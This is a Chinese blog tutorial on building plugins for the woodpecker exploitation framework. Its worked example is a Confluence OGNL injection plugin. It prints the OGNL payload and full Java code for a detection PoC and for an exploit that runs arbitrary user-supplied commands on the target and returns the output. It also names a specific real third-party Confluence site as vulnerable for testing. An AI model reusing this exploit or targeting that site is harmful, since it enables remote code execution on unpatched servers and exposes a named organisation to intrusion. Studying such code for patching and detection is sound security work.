• POC & EXP | woodpecker插件编写


    woodpecker插件编写

    目录

    woodpecker介绍

    woodpecker-framework是一款漏洞精准检测深度利用框架,只做一件事:精准狙击高危漏洞

    针对人群:专业打点人士。

    • 目标探测
    • 精准检测
    • 深度利用
    • 荷载生成

    在这里插入图片描述

    woodpecker使用

    java -jar woodpecker-framework.1.3.5.jar
    

    运行之后,会自动生成common、config.db、plugin

    在这里插入图片描述

    plugin用来存放woopecker插件。

    插件编写

    安装环境

    woodpecker-sdk

    woodpecker-sdkwoodpecker-framework的开发SDK,里面定义了woodpecker-framework开放的接口。 开发者可以通过接口编写插件实现自己想要的功能。

    下载下来,解压,使用IDE打开项目,点击右侧“install”。

    在这里插入图片描述

    woodpecker-request

    woodpecker-requests是基于 requests 为woodpecker框架定制开发的httpclient库,目的是编写插件时能拥有像python requests一样的便利。特点为可以全局设置代理、全局设置UA等

    下载下来,解压,使用IDE打开项目,点击右侧“install”。

    在这里插入图片描述

    创建Maven项目

    在这里插入图片描述

    在这里插入图片描述

        <dependencies>
            <dependency>
                <groupId>me.gv7.woodpeckergroupId>
                <artifactId>woodpecker-sdkartifactId>
                <version>0.3.0version>
            dependency>
            <dependency>
                <groupId>me.gv7.woodpeckergroupId>
                <artifactId>woodpecker-requestsartifactId>
                <version>0.2.0version>
            dependency>
        dependencies>
    

    Confluence OGNL表达式注入漏洞插件编写

    创建Package包和Class类

    创建Package包

    • exploit
    • pocs
    • utils

    和Class类

    • ConfluenceVulPlugin(不固定,和漏洞名相关)
    • WoodpeckerPluginManager整个程序的入口
    • ConfluenceOgnlPoc(不固定,和漏洞名相关)
    • ConfluenceOgnlExp(不固定,和漏洞名相关)

    在这里插入图片描述

    编写POC

    漏洞POC

    http://IP地址 /${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(" echo 'ognlinject' ").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(" X-Response ",#a))}/
    

    进行url编码为:

    /$%7B(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec( %22echo%20'ognlinject'%22 ).getInputStream(),%22utf-8%22)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(%22 X-Response %22,#a))%7D/
    

    代码编写

    WoodpeckerPluginManager类:(整个插件的入口)

    package me.gv7.woodpecker.plugin;
    
    // IPluginManager接口由woodpecker-sdk提供
    public class WoodpeckerPluginManager implements IPluginManager{
        @Override
        public void registerPluginManagerCallbacks(IPluginManagerCallbacks iPluginManagerCallbacks) {
            // 注册漏洞插件
            iPluginManagerCallbacks.registerVulPlugin( new ConfluenceVulPlugin() );
        }
    }
    

    ConfluenceVulPlugin类:(具体的漏洞插件类)

    package me.gv7.woodpecker.plugin;
    
    import me.gv7.woodpecker.plugin.exploit.ConfluenceOgnlExp;
    import me.gv7.woodpecker.plugin.pocs.ConfluenceOgnlPoc;
    
    import java.util.ArrayList;
    import java.util.List;
    
    // IVulPlugin接口由woodpecker-sdk提供
    public class ConfluenceVulPlugin implements IVulPlugin{
    
        public static IVulPluginCallbacks callbacks;
        public static IPluginHelper pluginHelper;
        @Override
        public void VulPluginMain(IVulPluginCallbacks iVulPluginCallbacks) {
            this.callbacks = iVulPluginCallbacks;
            this.pluginHelper = iVulPluginCallbacks.getPluginHelper();
    
            iVulPluginCallbacks.setVulPluginName("Confluence OGNL表达式注入漏洞POC"); // 插件名字
            iVulPluginCallbacks.setVulPluginAuthor("L3yia"); // 作者名
            iVulPluginCallbacks.setVulPluginVersion("1.0.0"); // 插件版本
            iVulPluginCallbacks.setVulName("Confluence OGNL表达式注入漏洞"); // 漏洞名称
            iVulPluginCallbacks.setVulDescription("Confluence OGNL表达式注入漏洞"); // 漏洞描述
    
            // 注册漏洞验证模块
            iVulPluginCallbacks.registerPoc(new ConfluenceOgnlPoc());
    
            // 注册漏洞利用模块(利用模块可以有多个)
            List<IExploit> exploitList = new ArrayList();
            exploitList.add(new ConfluenceOgnlExp());
            iVulPluginCallbacks.registerExploit(exploitList);
        }
    }
    
    
    

    ConfluenceOgnlPoc类:

    package me.gv7.woodpecker.plugin.pocs;
    
    import me.gv7.woodpecker.plugin.*;
    import me.gv7.woodpecker.requests.RawResponse;
    import me.gv7.woodpecker.requests.Requests;
    
    import java.util.HashMap;
    import java.util.Map;
    import java.util.Objects;
    
    public class ConfluenceOgnlPoc implements IPoc {
        @Override
        public IScanResult doVerify(ITarget iTarget, IResultOutput iResultOutput) throws Throwable {
            // 创建输出模块,用作结果的输出
            IScanResult scanResult = ConfluenceVulPlugin.pluginHelper.createScanResult();
            // 设置目标地址,iTarget.getAddress()由插件面板获取地址
            scanResult.setTarget(iTarget.getAddress());
            // 调用漏洞验证函数
            Map<String, Object> responseMap = checkConfluenceOgnl(iTarget.getAddress());
    
            scanResult.setExists((Boolean) responseMap.get("flag"));
            scanResult.setMsg((String) responseMap.get("results"));
    
            iResultOutput.infoPrintln((String) responseMap.get("results"));
            return scanResult;
        }
        
        // 漏洞验证函数
        private Map<String, Object> checkConfluenceOgnl(String address){
            Map<String,Object> responseMap = new HashMap<>();
            boolean flag = false;
            String results  = null;
            try {
                /*
                    Requests.get()发送一个get请求(验证漏洞的POC)。
                    verify(false) : 忽略https证书失效
                    timeout(3000) : 超时时间3000毫秒
                    send() : 发送
                */
                RawResponse response = Requests.get(address + "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22 echo%20'ognlinject' %22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Response%22%2C%23a%29%29%7D/").verify(false).timeout(3000).send();
                String header = response.getHeader("X-Response");
                if(response.statusCode() == 302 && header.contains("ognlinject")){
                    flag = true;
                    results = String.format("%s存在命令注入漏洞!!!",address);
                }else {
                    flag = false;
                    results = String.format("%s不存在命令注入漏洞",address);
                }
    
            }catch (Exception e){
                flag = false;
                results = String.format("%s不存在命令注入漏洞",address);
            }finally {
                // 设置responseMap的值,将flag和results带回去
                responseMap.put("flag",flag);
                responseMap.put("results",results);
            }
            // 返回
            return responseMap;
        }
    }
    

    导出jar包

    点击“package”生成jar包:

    在这里插入图片描述

    在这里插入图片描述

    将jar包放入woodpecker的plugin目录

    在这里插入图片描述

    运行woodpecker测试

    在这里插入图片描述

    测试网址:此网址存在该漏洞

    https://confluence.startwire.com
    
    

    在这里插入图片描述

    编写EXP

    代码编写

    ConfluenceOgnlExp类:

    package me.gv7.woodpecker.plugin.exploit;
    
    import me.gv7.woodpecker.plugin.*;
    import me.gv7.woodpecker.requests.RawResponse;
    import me.gv7.woodpecker.requests.Requests;
    
    import java.net.URLEncoder;
    import java.util.ArrayList;
    import java.util.List;
    import java.util.Map;
    
    public class ConfluenceOgnlExp implements IExploit {
        @Override
        public String getExploitTabCaption() {
            return "代码执行";  // 选项名称
        }
    
        // 接收用户参数
        @Override
        public IArgsUsageBinder getExploitCustomArgs() {
            IArgsUsageBinder argsUsageBinder = ConfluenceVulPlugin.pluginHelper.createArgsUsageBinder();
            List<IArg> args = new ArrayList<>();
    
            IArg command = ConfluenceVulPlugin.pluginHelper.createArg();
            command.setDescription("执行的命令");
            command.setName("Command");
            command.setDefaultValue("whoami");
            command.setRequired(true);  // 必填
            args.add(command);
            argsUsageBinder.setArgsList(args);
            return argsUsageBinder;
        }
    
        @Override
        public void doExploit(ITarget iTarget, Map<String, Object> map, IResultOutput iResultOutput) throws Throwable {
            try {
                String command = (String) map.get("Command");
                command = URLEncoder.encode(command);
                String address = iTarget.getAddress();
                RawResponse response = Requests.get(address + "/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22"+command+"%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Response%22%2C%23a%29%29%7D/").verify(false).timeout(3000).send();
                if (response.statusCode() == 302){
                    String responseHeader = response.getHeader("X-Response");
                    iResultOutput.successPrintln(responseHeader);
                }else{
                    iResultOutput.failPrintln("执行失败了~");
                }
            }catch (Exception e){
                iResultOutput.failPrintln("执行异常了~");
            }
        }
    }
    

    运行woodpecker测试

    在这里插入图片描述

    在这里插入图片描述

  • 相关阅读:
    Hexagon_V65_Programmers_Reference_Manual(20)
    多因素(MFA)是防止数据泄露的最佳安全实践方法
    webpack从0开始基本使用方法
    MySQL模块---查询和插入数据
    力扣刷题日志-Day2 (力扣151、43、14)
    flutter 常用组件:文本、图片和按钮
    【python笔记】第五节 流程控制
    MySQL数据类型介绍及使用场景
    Objects.requireNonNull的意义是什么
    源码 编译 安装 openssl libssl-dev
  • 原文地址:https://blog.csdn.net/qq_45305211/article/details/139717906